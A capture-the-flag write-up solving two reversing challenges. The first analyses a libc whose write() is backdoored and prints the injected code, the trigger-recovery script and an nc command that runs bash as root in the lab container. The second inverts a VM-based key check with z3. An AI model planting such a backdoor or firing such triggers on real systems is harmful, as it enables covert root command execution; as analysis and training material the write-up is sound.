libsus

libsus challenge description

In this challenge we must investigate a shared library that replaces the original libc in a container. We are given a Dockerfile and the ./libc_backdoor.so.6 library that is installed inside it. We can also run the container and connect to port 1337. Anything we send is written to /tmp/service.log but the container is not doing anything more.

FROM ubuntu:22.04@sha256:340d9b015b194dc6e2a13938944e0d016e57b9679963fdeb9ce021daac430221
EXPOSE 1337

RUN apt-get update && apt-get install -y curl netcat libc6=2.35-0ubuntu3.8 socat && rm -rf /var/lib/apt/lists/*
COPY ./libc_backdoor.so.6 /lib/x86_64-linux-gnu/libc.so.6

CMD socat -u TCP4-LISTEN:1337,reuseaddr,fork OPEN:/tmp/service.log,creat,append

Both the Docker base image (ubuntu:22.04@sha256:340d[...]0221) and the original libc version (libc6=2.35-0ubuntu3.8) are given. The first step is to download the original libc and diff it with the one in the challenge.

To get the original libc, the easiest method is to comment out the COPY ./libc_backdoor.so.6 /lib/x86_64-linux-gnu/libc.so.6, rebuild the container and extract the libc with docker cp.

FROM ubuntu:22.04@sha256:340d9b015b194dc6e2a13938944e0d016e57b9679963fdeb9ce021daac430221
EXPOSE 1337

RUN apt-get update && apt-get install -y curl netcat libc6=2.35-0ubuntu3.8 socat && rm -rf /var/lib/apt/lists/*
#COPY ./libc_backdoor.so.6 /lib/x86_64-linux-gnu/libc.so.6

CMD socat -u TCP4-LISTEN:1337,reuseaddr,fork OPEN:/tmp/service.log,creat,append

docker build -t ubuntu_original .
docker run --name ubuntu_original --rm ubuntu_original
docker cp ubuntu_original:/lib/x86_64-linux-gnu/libc.so.6 .

Then we diff both libraries, to find out what was modified.

xxd libc_backdoor.so.6 > backdoor.hex
xxd libc.so.6 > original.hex
diff original.hex backdoor.hex

70793c70793
< 00114880: b801 0000 000f 0548 3d00 f0ff ff77 51c3  .......H=....wQ.
---
> 00114880: e8bc 7a0a 0090 9048 3d00 f0ff ff77 51c3  ..z....H=....wQ.
70796c70796
< 001148b0: 1041 89c0 8b7c 2408 b801 0000 000f 0548  .A...|$........H
---
> 001148b0: 1041 89c0 8b7c 2408 e884 7a0a 0090 9048  .A...|$...z....H
72122c72122
< 00119b90: f30f 1efa b801 0000 000f 0548 3d00 f0ff  ...........H=...
---
> 00119b90: f30f 1efa e8a8 270a 0090 9048 3d00 f0ff  ......'....H=...
113717,113744c113717,113744
< 001bc340: ff00 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc350: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc360: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc370: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc380: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc390: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc3a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc3b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc3c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc3d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc3e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc3f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc400: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc410: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc420: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc430: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc440: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc450: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc460: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc470: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc480: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc490: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc4a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc4b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc4c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc4d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc4e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
< 001bc4f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
---
> 001bc340: ffb8 0100 0000 0f05 4156 4c8d 3500 0000  ........AVL.5...
> 001bc350: 0056 5752 5153 5050 4883 f844 0f8c 8e01  .VWRQSPPH..D....
> 001bc360: 0000 4831 c048 31c9 4831 ff68 a11a 1100  ..H1.H1.H1.h....
> 001bc370: 68d3 ab06 0068 5461 0c00 6867 1a09 0068  h....hTa..hg...h
> 001bc380: d450 1900 6884 cc10 0068 2a6d 0300 6865  .P..h....h*m..he
> 001bc390: 7511 0068 b412 1800 6867 c40e 0068 46f6  u..h....hg...hF.
> 001bc3a0: 0800 683e 8a17 0068 3825 0f00 68fb 421a  ..h>...h8%..h.B.
> 001bc3b0: 0068 37be 0700 68d2 4304 0068 6db4 1800  .h7...h.C..hm...
> 001bc3c0: 6873 bf14 0068 63b2 0b00 6807 c804 0068  hs...hc...h....h
> 001bc3d0: bd1c 0e00 6835 2b0c 0068 9764 0400 686b  ....h5+..h.d..hk
> 001bc3e0: da0e 0068 4dc0 0c00 689f 3403 0068 dd82  ...hM...h.4..h..
> 001bc3f0: 0e00 68d8 5b11 0068 9180 1700 68ca 060e  ..h.[..h....h...
> 001bc400: 0068 52c6 1100 68a8 2e12 0068 2046 0b00  .hR...h....h F..
> 001bc410: 6812 9018 0068 e06b 0f00 686a 200b 0068  h....h.k..hj ..h
> 001bc420: e10c 0f00 684e 2302 0068 3d83 1200 68e5  ....hN#..h=...h.
> 001bc430: 5b17 0068 f87d 1600 6867 5607 0068 1ee4  [..h.}..hgV..h..
> 001bc440: 0d00 680d 6507 0068 cc3f 1a00 6863 bf12  ..h.e..h.?..hc..
> 001bc450: 0068 135e 0c00 6854 da15 0068 689e 0c00  .h.^..hT...hh...
> 001bc460: 6895 561a 0068 df75 0a00 689d c411 0068  h.V..h.u..h....h
> 001bc470: 6921 0200 6868 3015 0068 8bb0 0600 68a0  i!..hh0..h....h.
> 001bc480: 0d15 0068 82c3 0300 6884 7009 0068 5dbe  ...h....h.p..h].
> 001bc490: 0a00 6805 4309 0068 3030 0500 68c8 411a  ..h.C..h00..h.A.
> 001bc4a0: 0068 c4ba 1400 68c1 fa08 0068 40b2 0f00  .h....h....h@...
> 001bc4b0: 68a8 c80a 0068 be03 0a00 6805 e017 005b  h....h....h....[
> 001bc4c0: 4a0f b69c 33ad 07e5 ff32 040e 30c3 4801  J...3....2..0.H.
> 001bc4d0: df48 ffc1 4883 f944 7ce5 4883 ff00 7510  .H..H..D|.H...u.
> 001bc4e0: 4889 f748 83c7 4449 8d86 1f4a e9ff ffd0  H..H..DI...J....
> 001bc4f0: 5858 5b59 5a5f 5e41 5ec3 0000 0000 0000  XX[YZ_^A^.......
138578c138578
< 0021d510: 011a 0000 0000 0000 0000 0000 0000 0000  ................
---
> 0021d510: ba1b 0000 0000 0000 0000 0000 0000 0000  ................

There are not too many differences between both libraries. Some bytes were modified in three places, and a larger block of instructions was added somewhere else. Now we can open both libraries in Ghidra or IDA and find out what these modifications are about.

The large block of instructions is a new suspicious function located at 0x1bc341, call it backdoor. From the cross-references, we find that it is called from write and __write_nocancel.

In both write and __write_nocancel, we notice that the only change is replacing the SYS_WRITE syscall with a call to the backdoor function.

// instructions in original libc write function
00214880 b8 01 00        MOV        EAX,0x1
            00 00
00214885 0f 05           SYSCALL
00214887 48 3d 00        CMP        RAX,-0x1000
            f0 ff ff
0021488d 77 51           JA         LAB_002148e0
0021488f c3              RET

// instructions in libc_backdoor write function
00114880 e8 bc 7a        CALL       backdoor
            0a 00
00114885 90              NOP
00114886 90              NOP
00114887 48 3d 00        CMP        RAX,-0x1000
            f0 ff ff
0011488d 77 51           JA         LAB_001148e0
0011488f c3              RET

Now we investigate the backdoor function. This is what it looks like after some retyping and renaming.

void backdoor(int fd,char *buf,size_t count) {
    byte x;
    ssize_t sVar3;
    long i;
    long ok;
    void *pointers [68];
    char *ptr;
    // Original SYS_WRITE syscall
    sVar3 = write(fd,buf,count);
    // Check that more that 67 chars were written
    if (67 < sVar3) {
        x = 0;
        i = 0;
        ok = 0;
        // 68 static values pushed on the stack
        pointers[0x43] = (void *)0x111aa1;
        pointers[0x42] = (void *)0x6abd3;
        pointers[0x41] = (void *)0xc6154;
        [...]]
            pointers[3] = (void *)0xfb240;
        pointers[2] = (void *)0xac8a8;
        pointers[1] = (void *)0xa03be;
        pointers[0] = (void *)0x17e005;
        ptr = pointers;
        // Loop over the 68 first written chars
        do {
            // XOR x with the i-th char
            x = x ^ buf[i];
            // Add *(ptr+0xcafe) ^ x to the variable ok
            ok = ok + *(unsigned char*)(ptr + 0xcafe) ^ x;
            i = i + 1;
            ptr = (void **)(ptr + 1);
        } while (i < 68);
        // If ok is 0, call system(buf + 68)
        if (ok == 0) {
            system(buf + 68);
        }
    }
    return;
}

In short, the function first executes the original write syscall but then loops over the 68 first written chars, XOR them with data at static addresses of the library (+ 0xcafe offset) and calculates the sum of all these XORs. If that sum is zero, then it calls system(cmd) where cmd is the rest of the buffer.

Since ok has type long, it will not overflow, meaning that the ok sum will only be zero if each of the *(ptr+0xcafe) ^ x XOR is zero.

At this point there are multiple ways to find out the correct bytes. For example we can either:

  • Use gdb to break on the XOR instruction in the loop, to find out each correct byte based on the register value.
  • Use a gdb script to bruteforce each byte one by one.
  • Understand the algorithm, read static data from the library file and write a Python script to recover the correct buffer.

The Python script below recovers the correct string to trigger the backdoor.

libc = open('libc_backdoor.so.6', 'rb').read()

# Read PUSH instructions
addresses = []
for i in range(68):
    pushed_val = int.from_bytes(libc[0x1bc36b + i * 5 + 1:0x1bc36b + (i + 1) * 5], byteorder='little')
    addr = pushed_val + 0xcafe
    addresses.append(addr)

# Read static data
static = [libc[addr] for addr in addresses[::-1]]

# Recover secret string that triggers backdoor
flag = ''
x = 0
for i in range(len(static)):
    c = x ^ static[i]
    flag += chr(c)
    x = x ^ c
print(flag)

# RM{Why_are_my_write_calls_taking_1_microsecond_longer_than_usual_?!}

We got the flag, now we can test the backdoor live against the Docker container. The backdoor is triggered because the container will write anything we send on port 1337 to /tmp/service.log.

// First console
$ docker compose up

// Other console
$ nc localhost 1337
RM{Why_are_my_write_calls_taking_1_microsecond_longer_than_usual_?!} /bin/bash -c 'id && echo "shell!"'

// First console
libsus-1  | uid=0(root) gid=0(root) groups=0(root)
libsus-1  | shell!

Security through 1 million instructions

security through 1 million instructions challenge description

Congratulations to spikeroot for being the only person to solve this challenge during the CTF!

For this one, we are given three files. The main binary is an ELF executable for the AArch64 architecture, hash.data is a 1024 binary file and mixup.bin is a large binary file (more than 3MB).

$ file *
hash.data: data
main:      ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 5.4.0, BuildID[sha1]=a4f3239fff4e2274fd4c661e1a47a7014fe4f8b6, stripped
mixup.bin: data

You can use qemu to run the ELF executable if you are not running on Aarch64, but you need a libc and a dynamic linker for that architecture.

$ sudo pacman -S aarch64-linux-gnu-glibc
$ qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./main 
Usage: ./main <program.bin> <hash.data>
$ qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./main ./mixup.bin ./hash.data 
Key: foobar
Wrong key.

Let’s load the ELF executable in Ghidra/IDA to try to find out how the key is verified. The main function is not too complicated.

int main(int argc,char **argv) {
    int res;
    if (argc != 3) {
        syscall(0x40,1,"Usage: ./main <program.bin> <hash.data>\n",0x29);
        exit(1);
    }
    read_prog(argv[1]);
    read_hash(argv[2]);
    syscall(0x40,1,"Key: ",6);
    syscall(0x3f,0,&input,32);
    propagate_input();
    mixup();
    res = compare_hashes();
    if (res == 0) {
        syscall(0x40,1,"Correct key! Access granted!\n",0x1e);
    }
    else {
        syscall(0x40,1,"Wrong key.\n",0xc);
    }
    exit(0);
    return 0;
}

The functions read_prog and read_hash functions read the two files given by command line arguments and a SYS_read syscall is executed to read a 32 bytes input.

void propagate_input(void) {
    for (int i = 0; i < 1024; i = i + 32) {
        for (int j = 0; j < 32; j = j + 1) {
            memory[i + j] = input[j];
        }
    }
}

int compare_hashes() {
    for (int i = 0; i < MEMORY_SIZE; i = i + 1) {
        if (expected[i] != memory[i]) {
            return 1;
        }
    }
    return 0;
}

The propagate_input function copies the user input multiple times to fill a 1024 bytes memory area. After mixup is called, compare_hashes simply compares the content of the hash file with that 1024 bytes memory area.

The mixup function is the critical one. It’s a simple VM without any register, that reads instructions from the input program file and execute them to update the 1024 bytes memory area.

It is not too hard to reverse the different possible opcodes. Every instruction is at least 3 bytes long. The first byte is an opcode and the next 2 bytes represent a 16-bit LSB memory address, addr = b1 + 256 * b2. We reverse the opcode list:

  • 0 (ADD) - mem[addr] += b3
  • 1 (SUB) - mem[addr] -= b3
  • 2 (XOR) - mem[addr] ^= b3
  • 3 (NOT) - mem[addr] = ~mem[addr]
  • 4-11 (ROL) - Rotate left mem[addr] depending on the opcode.
  • 12-19 (ROR) - Rotate right mem[addr] depending on the opcode.
  • 20 (XCHG) - mem[addr], mem[addr2] = mem[addr2], mem[addr], where mem[addr2] is calculated using the 4th and 5th bytes.
  • 21 (ADD2) - mem[addr] += mem[addr2]
  • 22 (SBOX) - mem[addr] = SBOX[mem[addr]]. That instruction uses a static substitution box that is directly embedded in the main executable.

Now that we know everything about the verification program, we need to understand the structure of mixup.bin, the actual program for the VM. We can build a simple instruction parser and confirm that the program is 1 million instruction long, as the title suggests.

from enum import IntEnum

class OpCode(IntEnum):
    ADD = 0
    SUB = 1
    XOR = 2
    NOT = 3
    ROL = 4
    ROR = 5
    XCHG = 6
    ADD2 = 7
    BOX = 100
globals().update(OpCode.__members__)

class Op():
    def __init__(self, optype, i1, i2, n):
        self.opcode = opcode
        self.i1 = i1
        self.i2 = i2
        self.n = n

program = []
with open("mixup.bin", "rb") as f:
    prog = f.read()
i = 0
while i < len(prog):
    op = prog[i]
    addr1 = prog[i+1] + 256 * prog[i+2]
    if op == 0:
        program.append(Op(ADD, addr1, 0, prog[i+3]))
        i += 4
    elif op == 1:
        program.append(Op(SUB, addr1, 0, prog[i+3]))
        i += 4
    elif op == 2:
        program.append(Op(XOR, addr1, 0, prog[i+3]))
        i += 4
    elif op == 3:
        program.append(Op(NOT, addr1, 0, 0))
        i += 3
    elif op >= 4 and op <= 11:
        program.append(Op(ROL, addr1, 0, op - 4))
        i += 3
    elif op >= 12 and op <= 0x13:
        program.append(Op(ROR, addr1, 0, op - 12))
        i += 3
    elif op == 0x14:
        addr2 = prog[i+3] + 256 * prog[i+4]
        program.append(Op(XCHG, addr1, addr2, 0))
        i += 5
    elif op == 0x15:
        addr2 = prog[i+3] + 256 * prog[i+4]
        program.append(Op(ADD2, addr1, addr2, 0))
        i += 5
    elif op == 0x16:
        program.append(Op(BOX, addr1, 0, 0))
        i += 3
    else:
        assert False, "Unknown instruction"

assert len(program) == 1000000

At this point we might try to use z3 to find a valid input for the given hash, but this would not work because of the SBOX instruction, which does not play well with symbolic execution.

Instead, it’s time for reverse part 2, can we find what the program is doing? The challenge description hints at a “randomly generated multi-round algorithm”. If we try to visualize the instruction opcodes for the entire program, we find a very interesting pattern.

opcodes visualized

Each white line corresponds to 1024 SBOX instructions. Plus, there is no other SBOX instruction anywhere else in the program. We can clearly see a total of 100 rounds separated by these SBOX lines. The rest of the program seems to be randomly generated indeed, as we cannot find any other pattern between the white lines.

Now we have a clear path to victory. We initialize memory with the hash value in hash.data and use z3 to find a valid memory state at the start of the last round. Then we invert the SBOX instructions manually and use z3 again to find a valid state before round 99, then invert the SBOX instructions again, do round 98, etc., until we get to a valid memory state at the start of the program.

Note that there could be multiple valid initial memory states for a given round, but the challenge author was in a good mood when he made the challenge and this is not the case here, the solution is always unique. There could have been multiple solutions because of the non-invertible a = a + a (mod 256) instruction.

The following script executes the described attack with z3 to recover the initial memory state before the program is executed.

from enum import IntEnum
from z3 import *

class OpCode(IntEnum):
    ADD = 0
    SUB = 1
    XOR = 2
    NOT = 3
    ROL = 4
    ROR = 5
    XCHG = 6
    ADD2 = 7
    BOX = 100
globals().update(OpCode.__members__)

class Op():
    def __init__(self, opcode, i1, i2, n):
        self.opcode = opcode
        self.i1 = i1
        self.i2 = i2
        self.n = n

def exec_prog_sym(in_memory_sym, program):
    memory_sym = [v for v in in_memory_sym]
    for op in program:
        if op.opcode == ADD:
            memory_sym[op.i1] += BitVecVal(op.n, 8)
        elif op.opcode == SUB:
            memory_sym[op.i1] -= BitVecVal(op.n, 8)
        elif op.opcode == XOR:
            memory_sym[op.i1] ^= BitVecVal(op.n, 8)
        elif op.opcode == NOT:
            memory_sym[op.i1] = ~memory_sym[op.i1]
        elif op.opcode == ROL:
            memory_sym[op.i1] = (memory_sym[op.i1] << op.n) | LShR(memory_sym[op.i1], 8 - op.n)
        elif op.opcode == ROR:
            memory_sym[op.i1] = (memory_sym[op.i1] << (8 - op.n)) | LShR(memory_sym[op.i1], op.n)
        elif op.opcode == XCHG:
            memory_sym[op.i1], memory_sym[op.i2] = memory_sym[op.i2], memory_sym[op.i1]
        elif op.opcode == ADD2:
            memory_sym[op.i1] += memory_sym[op.i2]
        else:
            assert False, f"Unknown op {op.opcode}"
    return memory_sym

# Problem parameters
INPUT_SIZE = 32
MEMORY_SIZE = 1024
SBOX = [72, 19, 219, 251, 252, 153, 133, 87, 60, 74, 0, 120, 130, 64, 226, 7, 138, 142, 184, 107, 173, 15, 179, 128, 33, 49, 207, 169, 185, 42, 14, 161, 164, 250, 196, 206, 229, 166, 168, 104, 99, 239, 233, 106, 209, 176, 5, 188, 201, 195, 27, 3, 83, 221, 149, 103, 84, 210, 154, 170, 249, 189, 121, 144, 39, 54, 198, 75, 77, 40, 1, 41, 69, 126, 8, 135, 215, 97, 21, 48, 237, 114, 71, 16, 51, 111, 122, 10, 70, 119, 112, 238, 24, 247, 194, 156, 232, 222, 78, 248, 62, 129, 88, 190, 96, 102, 255, 245, 31, 148, 20, 80, 17, 85, 9, 13, 134, 235, 55, 6, 159, 53, 231, 67, 29, 162, 152, 150, 34, 178, 223, 202, 18, 204, 227, 32, 93, 59, 118, 28, 151, 241, 110, 208, 167, 160, 216, 200, 193, 127, 236, 172, 82, 65, 22, 98, 131, 182, 30, 171, 90, 68, 242, 89, 177, 101, 224, 57, 253, 180, 244, 174, 141, 254, 137, 211, 132, 225, 11, 157, 109, 214, 92, 203, 213, 43, 50, 95, 230, 100, 91, 125, 45, 181, 56, 52, 108, 44, 212, 234, 145, 115, 61, 183, 86, 58, 47, 79, 23, 12, 66, 197, 117, 46, 37, 63, 143, 218, 2, 243, 220, 192, 217, 165, 163, 26, 155, 94, 246, 228, 240, 186, 76, 199, 116, 35, 139, 191, 123, 38, 73, 136, 36, 124, 4, 105, 187, 81, 146, 25, 175, 113, 158, 147, 205, 140]

# Reverse SBOX
INV_SBOX = [SBOX.index(i) for i in range(len(SBOX))]

# Parse program instructions
program = []
with open("mixup.bin", "rb") as f:
    prog = f.read()
i = 0
while i < len(prog):
    op = prog[i]
    addr1 = prog[i+1] + 256 * prog[i+2]
    if op == 0:
        program.append(Op(ADD, addr1, 0, prog[i+3]))
        i += 4
    elif op == 1:
        program.append(Op(SUB, addr1, 0, prog[i+3]))
        i += 4
    elif op == 2:
        program.append(Op(XOR, addr1, 0, prog[i+3]))
        i += 4
    elif op == 3:
        program.append(Op(NOT, addr1, 0, 0))
        i += 3
    elif op >= 4 and op <= 11:
        program.append(Op(ROL, addr1, 0, op - 4))
        i += 3
    elif op >= 12 and op <= 0x13:
        program.append(Op(ROR, addr1, 0, op - 12))
        i += 3
    elif op == 0x14:
        addr2 = prog[i+3] + 256 * prog[i+4]
        program.append(Op(XCHG, addr1, addr2, 0))
        i += 5
    elif op == 0x15:
        addr2 = prog[i+3] + 256 * prog[i+4]
        program.append(Op(ADD2, addr1, addr2, 0))
        i += 5
    elif op == 0x16:
        program.append(Op(BOX, addr1, 0, 0))
        i += 3
    else:
        assert False, "Unknown instruction"

assert len(program) == 1000000

# Separate program in rounds (each round is 1000 instructions delimited by 1024 SBOX substitutions)
rounds = [program[10000 * i + 1024:10000 * (i+1)] for i in range(100)]

# Initialize memory to the expected final state
with open("hash.data", "rb") as f:
    memory = [c for c in f.read()]

# Solve rounds starting the last one
for i, round_prog in enumerate(rounds[::-1]):
    print("Solving round", (100 - i))

    # Symbolic execute the round operations
    init_memory_sym = [BitVec(f'm_{i}', 8) for i in range(MEMORY_SIZE)]
    out_memory_sym = exec_prog_sym(init_memory_sym, round_prog)

    # Solve
    s = Solver()
    for i in range(MEMORY_SIZE):
        s.add(out_memory_sym[i] == memory[i])

    # Find one solution
    assert s.check() == sat, "No solution found"
    model = s.model()
    # Add a condition to find another possible solution
    or_ = False
    for i in range(MEMORY_SIZE):
        or_ = Or(init_memory_sym[i] != model.eval(init_memory_sym[i]), or_)
    s.add(or_)
    # Assert there is no other solution (:pray:)
    assert s.check() == unsat, "Multiple solutions found"

    # Set memory state to before the execution of this round
    memory = [int(model.eval(init_memory_sym[i]).as_long()) for i in range(len(memory))]

    # Reverse the 1024 SBOX instructions
    memory = [INV_SBOX[v] for v in memory]

print("Recovered initial memory state:")
print(bytes(memory))

We recover the flag duplicated multiple times, which is expected from the propagate_input function execution.

Recovered initial memory state:
b'RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}RM{uh_next_time_I_will_use_sha2}'